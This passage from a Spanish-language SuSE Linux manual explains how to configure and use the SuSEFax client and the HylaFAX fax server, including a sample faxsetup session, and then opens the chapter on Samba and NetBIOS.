 Usar el servidor fax HylaFAX p. ej. en combinacin con SuSEFax, el
nuevo entorno para fax de SuSE, escrito completamente en Java.

A partir de SuSE Linux 5.0 el paquete mgetty se ha dividido en dos,


el paquete mgetty y el paquete sendfax, ya que el paquete hylafax
contiene un par de comandos con el mismo nombre que los del paquete
sendfax.

Los dos siguientes apartados explican el uso y la configuracin de SuSEFax


y HylaFAX bajo SuSE Linux.

7.7.1 SuSEFax Un cliente para HylaFAX


Como ya se ha mencionado, SuSEFax est escrito en Java, por lo que hace
falta instalar el Java Developers Kit (Kit para desarrolladores en Java)
en combinacin con el paquete susefax. Si quiere usar SuSEFax sobre
otra plataforma, lo mejor es instalar el paquete susefax y copiar todos los
ficheros que se encuentran en /usr/lib/SuSEFax.

El Wrapper
SuSEFax se inicia por medio de un pequeo script llamado Wrapper (el
"Empaquetador"), el cual activa el interpretador de Java con los parmet-
ros necesarios y controla el cumplimiento de ciertos requisitos; este script
se encuentra en /usr/X11/bin/susefax. Se puede ajustar el programa
SuSEFax con unos parmetros de entorno, las propiedades del sistema
(ingl. System Properties). La Tabla 7.2 muestra las propiedades del
programa, sus significados y los valores que se usan por defecto cuan-
do no se pasa ningn parmetro al interpretador. Si el programa corre
bajo un sistema operativo que permite administrar diferentes usuarios, gen-
eralmente carece de sentido indicar alguno de ellos aparte del parmetro
susefax.images. Esto quiere decir que el sistema debe asignar a cada
usuario un directorio personal (home) como lo hacen los sistemas UNIX
y Windows NT, pero no OS/2. En sistemas que no son multiusuario deben
configurarse los valores de susefax.setup.path, susefax.setup.file
y susefax.phonebook.file, ya que en caso contrario es posible que el
programa no funcione. Esto no se ha probado an.

Para cambiar uno o varios de los parmetros, simplemente quite los smbolos
de comentario detrs de los nombres de las variables (ver Fichero 7.7.1).

Instrucciones de uso
La Figura 7.6 muestra cmo aparece la ventana principal despus de haber
activado la opcin `Send Queue' y haber apretado el botn `Get Status'
con el cual se obtiene informacin sobre las tareas que estn actualmente en

192
7.7. Linux + Fax: Una buena combinacin!

Propiedad Valor def. Significado


susefax.setup.path $HOME Rama en la cual se guarda el
fichero de configuracin y el
banco de datos de nmeros
telefnicos
susefax.setup.file .susefaxrc Nombre para el fichero de
configuracin
susefax.phonebook.file .susephone Nombre del banco de datos
de nmeros telefnicos
susefax.images ./images Rama en la que se encuen-
tran las imgenes necesarias
para los dilogos
Tabla 7.2: Las System Properties de SuSEFax

# if you want to store the settings other than


# $HOME/.susefaxrc, then you may place another path and/or
# filename here

SETUPDIR= # -Dsusefax.setup.path=/donde/sea
SETUPFILE= # -Dsusefax.setup.file=/lo/que/sea

# even the phonebook can be renamed to whatever

PHONEBOOK= # -Dsusefax.phonebook.file=el_nombre_que_sea

Fichero 7.7.1: Extracto del Wrapper: /usr/X11/bin/susefax

la cola de impresin, o sea, los faxes que se enviaron en los ltimos min-
utos; si se activa la opcin `Receive Queue', se registran todos los faxes
recibidos durante los ltimos das y seleccionando la opcin `Automatic
Renewal/(Actualisation)' la lista de tareas se actualiza en intervalos de
 ). Segn la opcin activada (`Send
tiempo. La duracin de este intervalo se puede indicar en el recuadro por
debajo del botn (confirmar con  - 
Queue' o `Receive Queue') se anota a la derecha de la lista lo que signifi-
cara un doble-click sobre una de las tareas. En el modo `Send Queue' se
puede decidir sobre el efecto del doble-click: este puede ser el de borrar la
tarea en la cola o el de tener la posibilidad de modificar los parmetros de la
misma. Con el men `Extras' se puede seleccionar el idioma (ingls o
alemn).

Primero la configuracin!

No se puede obtener ninguna informacin sobre el servidor ni modificar nada


antes de haber configurado el programa. Esto se lleva a cabo con la opcin
`Main settings' en el men `Program'. Todas las configuraciones se
guardan despus de salir de cualquier cuadro de dilogo y a su vez se guarda
el estado actual de la configuracin en el momento de salir del programa.

193
7. Conectarse con el mundo RDSI, PPP, Fax : : :

Figura 7.6: Cola de envo

Configuracin global
Los distintos campos tienen los siguientes significados:
Username: Aqu se indica nombre y apellido del usuario. La informacin se
necesita para la generacin automtica de una portada de fax.
EMail: El servidor de fax enva informacin a esta direccin de E-Mail,
cuando p. ej. se ha quitado un fax de la cola de envo, por problemas del
servidor para entregarlo.
User Account: El servidor de fax es capaz de dar acceso a determinados
usuarios y denegarlo a otros. Por lo tanto es preciso indicar aqu el nombre
de cuenta como identificacin del usuario frente al servidor. Tambin se
puede asignar una contrasea al usuario.
Hostname of Faxserver: Es el nombre de la computadora que ejecuta el
servidor de Fax.
Automatic Faxing: Con esta opcin activada se comprueba en intervalos
de segundos el fichero que se indica bajo `Path to Spool File'. Si
este fichero cambia, se abre automticamente el cuadro de dilogo `Send

194
7.7. Linux + Fax: Una buena combinacin!

Figura 7.7: Cuadro de dilogo para la configuracin global

Fax'. Esta opcin es bastante adecuada cuando se imprime desde una


aplicacin (ofimtica) directamente a un fichero. De este modo se puede
enviar un Fax desde cualquier aplicacin, siempre que sta sea capaz de
convertir el documento en PostScript (ver apartado 7.7.3).
Path to Spool File: Tiene que indicar la rama completa en la que se encuen-
tra el fichero Spool si desea enviar un fax automticamente. Seleccio-
nando el botn `Browse', se abre un navegador que le permite buscar el
fichero.
Path to Faxcover: Para generar automticamente una portada se necesita un
fichero especial en PostScript. Aqu se indica la rama completa hacia este
fichero.
Timezone: Aqu se define la misma zona de tiempo que hay en la computa-
dora local.
Local (Country): Aqu se indica el pas para conseguir una configuracin
regional en cuanto a la presentacin de hora y fecha (p. ej. en la portada
de fax)

Configuracin de tareas
Directamente despus de una correcta configuracin global, se puede enviar
el primer fax. Un fax o un fichero a enviar, se convierte para el servidor de
fax en una tarea que espera en la cola de envo a que dicho servidor la realice.
A cada tarea le pertenecen parmetros que pueden ser modificados antes o
despus de la entrada de la misma en la cola. Antes de mandar el fax, se
realiza la modificacin con el dilogo `Job settings' que se accede con
el men `Extras'. Cada parmetro tiene el siguiente significado:

195
7. Conectarse con el mundo RDSI, PPP, Fax : : :

Figura 7.8: Cuadro de dilogo para los parmetros de las tareas

Notification Scheme: Aqu se define cundo el servidor de fax debe pasar


un mensaje a la direccin de E-Mail configurada. Hay cuatro diferentes
esquemas:

 Nunca (Solo errores): El usuario solo recibe un mensaje de aviso


cuando ocurre un fallo en el envo, debido al cual no se puede enviar
el mensaje.
 Despus del envo: El usuario recibe un mensaje de confirmacin
despus de cada envo.
 Despus de `Requeue': Se notifica al usuario el fallo en el envo,
p. ej. cuando la contraparte est comunicando (lnea ocupada).
 Despus de `Requeue' y `Envo:' Una mezcla de los dos anteriores
esquemas.

El primer esquema siempre est activado. Seleccionando p. ej. esquema


dos, se informa al usuario tambin cuando falla el envo de un fax.
Resolution: Aqu se define la resolucin del fax a enviar. La resolucin se
indica en lneas por pulgada (ingl. lines per inch (lpi)).

196
7.7. Linux + Fax: Una buena combinacin!

Priority: La prioridad de una tarea en la cola de envo cuyo valor por defecto
es 127. El servidor de fax modifica la prioridad segn necesidad, p. ej.
cuando el envo falla por encontrar la lnea de la contraparte ocupada.
Max. Tries to Send: El nmero indica cuntas veces el servidor debe inten-
tar enviar el fax, cuando p. ej. hay fallos de transmisin por una lnea
ruidosa.
Max. Tries to Dial: Cantidad de intentos de conexin con la contraparte,
cuando sta no contesta o comunica.
Paper size: SuSEFax soporta tres tamaos de papel A4, A3 y North Ameri-
can Letter. Este parmetro depende del formato del fichero PostScript a
mandar.

Si en la ventana principal esta activada la opcin `Modify job parameters',


tendr la posibilidad de modificar con un doble-click los parmetros de la
tarea en la lista. El cuadro de dilogo que se abre permite modificar los
parmetros `Notification scheme', `Maximum tries to send' y
`Maximum tries to dial'.

Visualizador externo
Cuando la lista de tareas muestra la cola de recepcin, se puede visualizar
el fax recibido mediante un visualizador externo . Este debe ser capaz de
visualizar imgenes en formato tiffg3, ya que el servidor de fax trabaja con
este formato el cual permite poner varias imgenes en un solo fichero. El
programa SuSEFax contiene un pequeo script que, genera un documento
PostScript, usando el comando fax2ps del TIFF Software de Sam Leffler
[Lef96b] (paquete tiff). Este documento se pasa entonces a un visualizador
de PostScript. El script busca primero el programa gv de Johannes Plass (pa-
quete gv) y despus GhostView de Timothy O. Theisen (paquete gs_x11). El
script se llama docview y se encuentra en /usr/lib/SuSEFax. Los ajustes
en el cuadro de dilogo de configuracin del visualizador externo tienen los
siguientes significados:

Path for temporary files: (Directorio de los ficheros temporales) SuSEFax


coloca la imagen recibida del tipo tiffg3 en este directorio, reemplazan-
do $F con el camino completo a este fichero.

El usuario que ha iniciado SuSEFax necesita los derechos de escritura y


lectura en este directorio!

Viewer Call: (Llamada al visualizador) Aqu se indica la rama completa del


programa o script que debe visualizar el fichero. Este programa debe
aceptar como parmetro la rama del fichero a visualizar.

Enviar un Fax
Despus de haber realizado los ajustes ms importantes, lo primero es com-
probar si se puede consultar el estado del servidor de fax (ver Pgina 192).
Si esto no fuera posible, tampoco se podra enviar ningn fax y habra que
comprobar la configuracin de SuSEFax o del servidor HylaFAX. Si por el

197
7. Conectarse con el mundo RDSI, PPP, Fax : : :

contrario todo est bien ajustado y se selecciona la opcin de menu `Send


Fax', aparece un cuadro de dilogo cuyos campos tienen el siguiente signifi-
cado:
Phone number of recipient: El nmero de telfono del destinatario. Pul-
sando el botn `From telephone book' se abre la agenda telefnica y
se puede seleccionar directamente un nmero de telfono de la agenda.
Document to be sent: Aqu se indica el nombre y la rama completa del doc-
umento PostScript a enviar. Si se pulsa el botn `Search', aparece un
navegador de disco que ayuda seleccionar el documento.
With Cover-Fax: (Con portada de fax) Solo se puede activar este botn si
se ha indicado en los ajustes globales la rama completa de un fichero de
portada de fax. Si el botn est activado es posible rellenar los siguientes
campos con lo cual se genera y se enva una portada de fax .
Do not send immediately: (No enviar inmediatamente) Seleccionando este
botn se abre una ventana de dilogo que permite introducir la hora de
envo; si se sale de esta ventana con `Cancel', el fax se enva como si se
hubiese salido de ella con `Send Fax'. Al indicar la fecha y la hora del
envo tenga en cuenta lo siguiente:
  
Despus de introducir algo en un campo pulse  -  , ya que as el pro-
grama comprueba automticamente si se trata de una entrada vlida; si
no lo fuera, el programa la convierte en una fecha vlida.
Name of sender: (Nombre del remitente) Por defecto aparece siempre el
nombre que se ha indicado en los ajustes globales.
Name of recipient: Nombre del destinatario
Regarding: El asunto.
To company: A la empresa.
Comment: Los comentarios.
Al seleccionar `Poll Fax' (Solicitar fax) se supone que se ha introducido
el nmero de telfono del servidor de polling de fax. En tal caso, evidente-
mente, no hace falta indicar un fichero a enviar puesto que es para recibir.

Significado de las entradas en la lista de tareas


Como ya se ha mencionado, en la lista de tareas se pueden visualizar tanto
aquellas que estn en la cola de envo como las que se encuentran en la cola
de recepcin. Lo siguiente explica el significado de los distintos elementos
de las entradas.

La cola de recepcin

Figura 7.9: Ejemplo de una entrada en la cola de recepcin

198
7.7. Linux + Fax: Una buena combinacin!

De izquierda a derecha se anotan primero los derechos de acceso, el tamao


en bytes, el nmero de pginas, la TSI y el nombre de fichero de un fax
recibido. El TSI (ingl. Transmission Subscriber Identification) es la identi-
ficacin definida por la contraparte que enva el fax. Puede tratarse de un
nmero de telfono, un nombre de empresa o algo similar.

Los faxes recibidos solo se pueden visualizar con un doble-click si


la configuracin del servidor de fax otorga derechos de lectura a to-
dos los usuarios. Para conseguirlo, hay que anotar en el fichero
/var/spool/fax/etc/config.device por detrs de la palabra clave
RecvFileMode: los derechos 0644 (ver apartado 7.7.4).

La cola de envo

Figura 7.10: Ejemplo de una entrada en la cola de envo

De izquierda a derecha se anota la identificacin de tarea (ingl. Job-ID), la


prioridad, la cuenta de usuario, el nmero de telfono del destino, la hora de
envo, el nmero de intentos a llamar y el nmero mximo de intentos. Si
ocurre un error, el mensaje acerca de ste se aade a la lnea. El servidor
de fax asigna automticamente la identificacin de tarea (Job-ID). Se puede
ajustar la prioridad para cada tarea, pero el servidor de fax la modifica segn
se necesite; solo el usuario que ha iniciado una tarea puede modificar sus
parmetros o borrarla.

La agenda telefnica

Figura 7.11: La agenda telefnica

La agenda telefnica (ver Figura 7.11) permite administrar nombres y


nmeros de faxes. Es posible clasificar por nombre, apellido, nmero de

199
7. Conectarse con el mundo RDSI, PPP, Fax : : :

fax o nombre de empresa. Un doble-click sobre una entrada en la lista de


telfonos abre el editor de entradas con el cual se visualizan todas las en-
tradas de la lista cuyos elementos se pueden modificar seleccionando el botn
`Edit'; estas modificaciones se guardan seleccionando `Accept entry',
suponiendo que se ha proporcionado anteriormente `Name', `Surname' y
`Telephone number'.
Cuando el editor de entradas est en modo `View entry', un click sobre
el botn `Send Fax' abre el `Send fax dialogue' (dilogo de enviar
fax) y entonces los elementos `Name', `Surname', `Telephone number',
`Company' y `Comments' se incorporan en la portada de fax (ver Pgi-
na 197). Esta portada solo se enva si el botn `Use fax cover' est selec-
cionado.
Con `Add' se aade una nueva entrada a la agenda y `Remove' borra la
entrada marcada en la lista. El proceso de ordenar se inicia con cada seleccin
del botn `Sort' siguiendo el criterio bajo `Shown is'.
No se pueden seleccionar los botones `Save changes' y `Save + Exit'
antes de haber seleccionado `Take entry' en el editor de entradas o bien
`Sort' o `Remove'.
Tambin se puede iniciar la agenda telefnica por s sola. De ello se encarga
el Wrapper susephone: se introduce simplemente susephone en la lnea
de entrada, aunque de este modo no se pueden enviar faxes.

No se debe iniciar el programa de la agenda telefnica dos veces en la


misma cuenta de usuario. Si esto ocurriese, debe tenerse cuidado de no
grabar la agenda en ambas ventanas.

Envo mltiple de faxes


El cuadro de dilogo para enviar una serie de faxes permite generar una lista
de destinatarios desde las entradas en la agenda. Para aadir o quitar entradas
a esta lista hay que seleccionarla primero. Se pueden seleccionar las entradas
con la tecla del mouse o con uno de los `Toggle'-Buttons. Pulsando p. ej. el
botn `(Toggle' se seleccionan todas las entradas que estn sin seleccionar
y se deseleccionan las que ya lo estn; se procede de igual modo para la lista
de envo mltiple. Con el botn `Send fax' se envan todas las entradas que
se encuentran en la lista. En caso de envo mltiple no se puede generar una
portada automtica.

7.7.2 Generacin automtica de portada


La generacin automtica de una portada de fax necesita una plantilla en
PostScript. No se trata de un fichero que pueda ser manejado por parte
de un interpretador de PostScript, sino que es un fichero con variables en
blanco, que se rellenan en el momento de generar la portada. Por eso puede
resultar un poco complicado hacer este tipo de plantilla. Los que conocen
LATEX estn de suerte ya que existe el paquete latex-cover 7 de R. Krienke.
Este paquete trae un TEX-Style, que le permite a un entendido en TEX, generar
7 Este paquete se instala junto con el paquete hylafax bajo /usr/doc/packages/hylafax.

200
7.7. Linux + Fax: Una buena combinacin!

una plantilla sin mayores problemas. La portada que viene con este paquete
y con el paquete hylafax fue elaborado con latex-cover.
Si no se usa latex-cover hace falta generar un fichero PostScript e introducir
manualmente las macros y las variables necesarias.

Las palabras clave de SuSEFax


Para crear el documento TEX, que representa la plantilla, se deben conocer
las macros que SuSEFax soporta actualmente:
\toperson
\from
\regarding
\tocompany
\todaysdate
\comments

El programa faxcover del paquete hylafax sirve para probar la plantilla


bricolada a mano ya que ste la convierte en un fichero PostScript listo
para visualizar o imprimir. Otra posibilidad para probar es el uso del binario
de Java FaxCovergen.class del paquete susefax. Simplemente se introduce
en cualquier directorio el siguiente comando:
tux@tierra:/home/tux > java -classpath
/usr/lib/java/lib/classes.zip:/usr/lib SuSEFax.FaxCovergen
Debera aparecer la siguiente respuesta:

Command: FaxCovergen sourcecover.ps docname.ps targetcover.ps

Sourcecover es la portada fuente, docname.ps es el documento que real-


mente se manda junto con un fax y en targetcover.ps se guarda la portada
de fax generada. Estos argumentos se aaden simplemente al comando indi-
cado arriba. Ahora puede visualizar cualquiera de estos ficheros PostScript.

7.7.3 Fax-Spooling en UNIX/ Linux


El mecanismo de spooling (bobinar en realidad no se bobina nada, pero
la palabra se deriva del hecho de que las tareas se van ejecutando secuen-
cialmente, como si estuviesen colocadas en una cinta que se est bobinando)
realmente fue pensado para Windows, pero tambin se puede utilizar esta
caracterstica bajo Linux. Instale simplemente el paquete faxprint, serie n
(Netzwerk-Support).
Ahora se puede p. ej. convertir el fichero /etc/passwd mediante
a2ps -nP /etc/passwd | lpr -Pfax a Postscript y pasarlo por el filtro
de impresin configurado. Despus debe aparecer en el directorio /tmp un
fichero denominado fax_accountname.ps. accountname es el nombre de
usuario que se ha usado para entrar al sistema. Si este fichero realmente
existe, se puede poner como fichero de spool como se ha explicado en
apartado 7.7.1 y activar el botn `Automatic fax'.

201
7. Conectarse con el mundo RDSI, PPP, Fax : : :

El mecanismo de spooling solo puede funcionar si SuSEFax est ac-


tivado. En tal caso se comprueba regularmente la marca de tiempo
Lastmodified del fichero de spooling y se abre el dilogo de definicin
del destinatario en SuSEFax, cuando aparece algn cambio.

7.7.4 HylaFAX Gestin distribuida de faxes

Funcionamiento

El soporte de instalacin no cubre la configuracin de HylaFAX (ver aparta-


do H.1.2, Pgina 481).
La Figura 7.12 muestra el funcionamiento del servidor de fax y el principio de
interaccin con los clientes; tal como muestra el esquema, existen tres vas de
comunicacin entre los clientes y el servidor. El protocolo que funciona con
el puerto 4557 existe por razones de compatibilidad con versiones antiguas de
HylaFAX; existe p. ej. el cliente WinFlex de Peter Bentley para Windows,
que sigue usando este protocolo. Los clientes ms recientes deberan usar el
protocolo nuevo el cual se identifica aqu con el puerto 4559 y cuya estruc-
tura se asemeja mucho a la del File Transfer Protocol, RFC959 . El tercer
protocolo es el SNPP (Simple Network Paging Protocol, RFC1861) .

Fax Modem
VCR

(TM)
HylaFAX
Fax Server

Die drei Netz Protokolle

4557
altes Protokoll
(Kompatibilitt)

TCP/IP
4559
Neues Protokoll
(hnelt dem FTP
Protokoll)

Klienten

SNPP
Simple Network Pager
Protocol

Figura 7.12: El funcionamiento del servidor HylaFAX

202
7.7. Linux + Fax: Una buena combinacin!

El servidor se compone de tres daemons, que cumplen cada uno una determi-
nada tarea:
hfaxd es el servidor de protocolo que se encarga de la comunicacin entre
cliente y servidor. Se puede iniciar bien durante el arranque de forma
standalone mediante el proceso Init, o bien, mediante el Inetd. A travs
de un fichero FIFO special file, hfaxd se comunica con el proceso faxq.
faxq representa el Queueing Agent. Se encarga de administrar la cola de
tareas y los faxes que entran y salen. El proceso se ejecuta continuamente
y no puede correr ms de uno al mismo tiempo.
faxgetty se encarga de la comunicacin con el modem. Si no se necesita
recibir fax, se puede usar faxmodem como alternativa a faxgetty que
adems permite ser administrado a travs de un fichero FIFO8

La estructura de directorios
Todo el servidor se ejecuta en un entorno Change-Root. El Server-Root
se encuentra por defecto en /var/spool/fax. Los procesos del servidor y
el directorio Server-Root pertenecen al usuario y grupo `uucp'. La Tabla 7.3
muestra todos los directorios que se encuentran en el Server-Root y explica
sus funciones.

archive Aqu se archivan las tareas, si el job archival support fue acti-
vado.
bin En este directorio se almacenen scripts usados por los progra-
mas faxq, faxsend, pagesend y faxgetty.
client Este directorio contiene los ficheros FIFO, necesarios para la
comunicacin con el programa faxq.
config Aqu y en el directorio etc se encuentran la configuracin, el
control de acceso y la administracin de usuarios.
dev Ya que todo el sistema corre en un entorno chroot, aqu se
encuentran los dispositivos necesarios (null, socksys y tcp).
docq Este directorio al igual que tmp se necesita p. ej. para la
preparacin de tareas a realizar.
doneq Aqu se guardan tareas que fueron terminadas, pero que no han
sido ni quitadas de la cola ni archivadas.
etc ver config.
info Este directorio alberga informacin sobre las caractersticas de
las mquinas con las que HylaFAX ya ha estado en contacto
alguna vez.
log Este directorio contiene informacin de registro sobre las se-
siones de envo y recepcin.
pollq En este directorio hay documentos obtenidos con polling.
sendq Para almacenar los faxes a enviar.

Tabla 7.3: Contina en la pgina siguiente ...


8 Un fichero FIFO (ingl. FIFO = First In First Out) es un fichero del que se puede leer informa-
cin en el mismo orden en el cual fue escrito.

203
7. Conectarse con el mundo RDSI, PPP, Fax : : :

recvq Para almacenar los faxes que llegan.


status Aqu se almacenan ficheros que contienen informacin sobre
el estado actual del servidor.
tmp ver docq.

Tabla 7.3: Los directorios Server-Root y sus funciones

Aparte de estos directorios hay tambin ficheros FIFO que son: El fichero
/var/spool/fax/FIFO y por cada modem administrado por faxgetty un
fichero /var/spool/fax/FIFO.devname, donde devname es el nombre de
dispositivo al que se conecta el modem.

Configuracin

La configuracin del servidor est distribuida desde 2 hasta 2+n ficheros


de configuracin, donde `n' representa la cantidad de los modems en uso.
El directorio /var/spool/fax/etc alberga los ficheros de configuracin
config y config.device . Este ltimo determina la configuracin del mo-
dem conectado al dispositivo device. Si p. ej. estuviera el modem conectado
a /dev/ttyS0, este fichero se llamara config.ttyS0.
El fichero config contiene ajustes de mbito general que necesitan el proceso
de planificacin faxq. config.device alberga la configuracin especfica
del modem y config la del Queueing-Agent. Los ajustes del servidor de
protocolo se encuentran en el fichero /usr/lib/fax/hfaxd.conf. Todos
estos ficheros de configuracin se generan automticamente, ejecutando el
script faxsetup despus de la instalacin.

Ejemplo de una sesin de configuracin

Lo siguiente muestra una sesin de configuracin ejemplo iniciada por


faxsetup. Para esta sesin se supone que son vlidos los valores anotados
en la Tabla 7.4.

Nmero de telfono (0)49(0)911-32067289


Tipo (clase) de modem 2.0

Tabla 7.4:

Las letras en negrita indican los datos a introducir.

9 Cuando se ejecuta faxsetup se reemplaza este nmero con el propio.

204
7.7. Linux + Fax: Una buena combinacin!

Configuracin del planificador (scheduler)


 
 Should an entry be added to /etc/inetd.conf [no]? -  
 Country code [1]? 49
 Area code []? 911
 Long distance dialing prefix [1]? 0
 International dialing prefix [011]? 00
 Dial string rules file (relative to
 
/var/spool/fax) ["etc/dialrules"]?  
-
 Tracing during normal server operation [1]? 527
 Default tracing during send and receive
sessions [0xffffffff]? 527
 Continuation cover page (relative to
/var/spool/fax) []? etc/cover.templ

 
Timeout when converting PostScript
documents (secs) [180]?  -
 -
 Maximum number of concurrent jobs to a destination [1]?  
Define a class of modems []? "any:.*"

 
 Time of day restrictions for outbound jobs ["Any"]? -  
  
Pathname of destination controls file (relative to
/var/spool/fax) []?  -

 
Timeout before purging a stale UUCP
lock file (secs) [30]?   -
 Max number of pages to permit in an
outbound job [0xffffffff]? 30

 
Syslog facility name for ServerTracing
messages [daemon]?  -

Despus de haber introducido los datos, aparece el resumen como se ve en el


Mensaje en pantalla 7.7.1.

The non-default scheduler parameters are:

CountryCode: 49
AreaCode: 911
LongDistancePrefix: 0
InternationalPrefix: 00
ServerTracing: 527
ContCoverPage: etc/cover.templ
MaxSendPages: 30
ModemClass: "any:.*"
SessionTracing: 527

Mensaje en pantalla 7.7.1:

Configuracin del servidor


Despus de la configuracin del planificador (ingl. scheduler), faxsetup
cuestiona si se debe configurar un modem con faxaddmodem. Esta pregunta

205
7. Conectarse con el mundo RDSI, PPP, Fax : : :

la respondemos evidentemente con yes. Ahora viene la pregunta sobre el


puerto serie del modem que se debe contestar con el nombre de dispositi-
vo, sin indicar la rama completa del modem /dev/modem se convierte en
modem.
  
Country code [49]?  - 
  
Area code [911]?  - 
 Phone number of fax modem [+1.999.555.1212]?
+49.911.3206728
 Local identification string (for TSI/CIG)
["NothingSetup"]? "S.u.S.E. GmbH"
  
Long distance dialing prefix [0]?  - 
  
International dialing prefix [00]?  - 
 Dial string rules file (relative to 
/var/spool/fax) ["etc/dialrules"]?  - 
 Tracing during normal server operation [1]? 527
 Tracing during send and receive sessions [11]? 527
 Protection mode for received facsimile [0600]? 0644
 
 Protection mode for session logs [0600]?  - 
 Protection mode for modem [0600]? 0666
 
 Rings to wait before answering [1]?  - 
 
 Modem speaker volume [off]?  - 
 Command line arguments to getty program ["-h %l dx_%s"]?
"-r -b -s %s %l"
 Pathname of TSI access control listfile

(relative to /var/spool/fax) [""]?  - 
 Pathname of Caller-ID access control list
 
file (relative to /var/spool/fax) [""]?  - 
 Tag line font file (relative to  
/var/spool/fax) [etc/lutRS18.pcf]?  - 
 Tag line format string  
["From %%l|%c|Page %%p of %%t"]?  - 
 Time before purging
 astale UUCP lock
file (secs) [30]?  - 
 Hold UUCP lockfile
  during inbound data
calls [Yes]?  - 
 
Hold UUCP lockfile during inbound voice calls [Yes]? 

- 
 Percent good lines to accept
  during copy
quality checking [95]?  - 
 Max consecutive bad lines to
 accept
 during
copy quality checking [5]?  - 
 Max number of pages
 to accept in a received
facsimile [25]?  - 
 Syslog facility name
 for
 ServerTracing
messages [daemon]?  - 

206
7.7. Linux + Fax: Una buena combinacin!

The non-default server configuration parameters are:

CountryCode: 49
AreaCode: 911
FAXNumber: +49.911.3206728
LongDistancePrefix: 0
InternationalPrefix: 00
DialStringRules: "etc/dialrules"
ServerTracing: 527
SessionTracing: 527
RecvFileMode: 0644
DeviceMode: 0666
RingsBeforeAnswer: 1
SpeakerVolume: off
GettyArgs: "-r -b -s %s %l"
LocalIdentifier: "S.u.S.E. GmbH"
TagLineFont: etc/lutRS18.pcf
TagLineFormat: "From %%l|%c|Page %%p of %%t"
MaxRecvPages: 25

Mensaje en pantalla 7.7.2:

 Set UID to 0 to manipulate CLOCAL [""]? 


 -

Despus de haber introducido los datos aparece el resumen del Mensaje en
pantalla 7.7.2.
Ahora la configuracin del planificador y del servidor estn terminadas.
Al final viene la pregunta, si se debe iniciar faxmodem para cada modem
configurado. Es la alternativa a faxgetty que solo permite enviar (pero no
recibir) faxes.

Adaptive Answer Support


Una caracterstica muy prctica es la del Adaptive Answer Support, que le
permite al servidor de fax (faxgetty) iniciar cualquier otro programa getty
cuando se detecta que la llamada que entra no es un fax sino una llamada
de peticin de datos. Para activar este servicio se ha aadido durante la
sesin de configuracin ejemplo (ver Pgina 204) la entrada que se ve en
el Fichero 7.7.2.

GettyArgs: "-r -b -s %s %l"

Fichero 7.7.2: Entrada para Adaptive Answer Support

Aqu %s es el sustituto para la tasa DTE/DTC entre computadora y mo-


dem cuyo valor por defecto es 38400 bps (ingl. bits per second). Algunos
modems de la empresa USRobotics tienen problemas con esta tasa cuando
estn en modo fax (ver la documentacin [Lef96a]). Para evitarlos, la vari-
able <ModemRate> en el fichero de configuracin especfico del modem,
debe tomar el valor 19200. Al igual que getty, se utiliza tambin mgetty del

207
7. Conectarse con el mundo RDSI, PPP, Fax : : :

paquete mgetty, serie n (Netzwerk-Support); esto precisa de la ampliacin


del fichero de configuracin de mgetty (/etc/mgetty+sendfax/mgetty.
config) con la entrada que se ve en el Fichero 7.7.3.

port modem
direct y
toggle-dtr n

Fichero 7.7.3: Entrada en el fichero de configuracin de mgetty

El denominador modem10 representa el nombre de dispositivo a travs del


cual se accede al modem. Lo importante es que tanto faxgetty como mgetty
accedan al mismo dispositivo.

Fax Dispatching
Otra caracterstica interesante es el traspaso automtico de un fax entrante a
una determinada direccin de E-Mail. Para ello hace falta generar el fichero
etc/FaxDispatch en el directorio Server-Root. El Fichero 7.7.4 muestra un
ejemplo de un fichero semejante.

case "$SENDER" in
*0815*) SENDTO=tux;;
*) SENDTO=FaxMaster;;
esac
Fichero 7.7.4: Ejemplo de etc/FaxDispatch

Los faxes que entran se identifican con su TSI. En este caso, todos los faxes
que contienen la combinacin de cifras 0815 en su TSI, se envan por E-Mail
al usuario `tux' en forma de un attachment en formato PostScript11 . A parte
de esto, los dems faxes que entran se traspasan al `FaxMaster'.

Si tiene problemas con la instalacin o la configuracin de HylaFAX, no


dude en consultar nuestro banco de datos de soporte (sistema de ayuda,
paquete susehilf, serie doc (documentacin)). Bajo la palabra clave
"fax"encontrar muchos consejos.

10 /dev/modem es el enlace hacia /dev/ttySx.


11 Por supuesto puede cambiar el formato, modificando bin/faxrcvd en el Server-Root.

208
Captulo 8
Bailemos samba : : :

Con la ayuda del programa Samba, del australiano Andrew Tridgell, es


posible hacer de cualquier computadora Unix un servidor de ficheros y de
impresin potente, con clientes que corren bajo DOS o Windows. Desde
el comienzo de su desarrollo en 1991, Samba se ha convertido en un pro-
ducto muy estable ocupando un sitio fijo en el mundo empresarial, donde
se usa como complemento o incluso como reemplazo de los servidores
Novell NetWare o Windows NT.

8.1 Introduccin
Samba es ya un producto muy complejo y, por eso, no le podemos ofre-
cer aqu una descripcin detallada de todas las posibilidades, sino que nos
quedamos con un resumen de las funciones ms destacadas. El directo-
rio pfad/usr/doc/packages/samba contiene muchos documentos que le sirven
para conseguir incluso configuraciones complejas. La Manpage de smb.conf
(man smb.conf) contiene la referencia del fichero de configuracin de Sam-
ba.
Samba usa el protocolo SMB (Server Message Block) de la empresa Mi-
crosoft. Sin embargo, en todos los clientes (p. ej. Windows 95 / 98 o Windows
NT), el protocolo TCP/IP debe estar instalado ya que Samba usa el protocolo
SMB sobre TCP/IP. Computadoras con Windows que tienen acceso a Internet
ya tienen TCP/IP instalado.
El protocolo SMB (ingl. Server Message Block) ofrece servicios de impresin
y de acceso a ficheros para el mundo de Windows y LAN Manager y se basa
en los servicios NetBIOS, por eso, se puede comparar el servicio de ficheros
con el de NFS. A este respecto, SMB no se diferencia de otros protocolos
como p. ej. el NetWare Core Protocol. Microsoft a diferencia de Novell
ha publicado la especificacin del protocolo SMB, as que es posible el uso
de este protocolo por parte de terceros.
El soporte de instalacin no cubre la configuracin de Samba (ver aparta-
do H.1.2, Pgina 481).

NetBIOS
NetBIOS es una interfaz para programas de aplicacin (ingl. Application Pro-
gram Interface, API), que se dise para la comunicacin entre computa-
doras. Entre otros, ofrece un servicio de nombres (ingl. name service) que

209
8. Bailemos samba : : :

le permite a las computadoras reservarse un nombre en la red. Despus de


haberlo reservado, se puede acceder a las computadoras con nombre. No ex-
iste ningn control centralizado para otorgar o controlar los nombres. Cada
computadora puede reservar en la red tantos nombres como quiera, mientras
no se haya adelantado otro.
Se puede implementar la interfaz NetBIOS sobre diferentes arquitecturas de
red. Hay una implementacin que se encuentra relativamente cerca al hard-
ware de red llamada NetBEUI. NetBEUI es lo que se denomina frecuente-
mente como NetBIOS.
NetBEUI trabaja con la direccin de hardware que tiene cada tarjeta red para
direccionar los paquetes de informacin a travs de la red. Esta direccin
